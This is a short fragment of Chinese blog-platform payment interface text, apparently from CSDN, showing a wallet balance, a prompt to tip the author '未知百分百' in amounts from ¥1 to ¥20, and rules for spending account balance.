当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

未知百分百

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值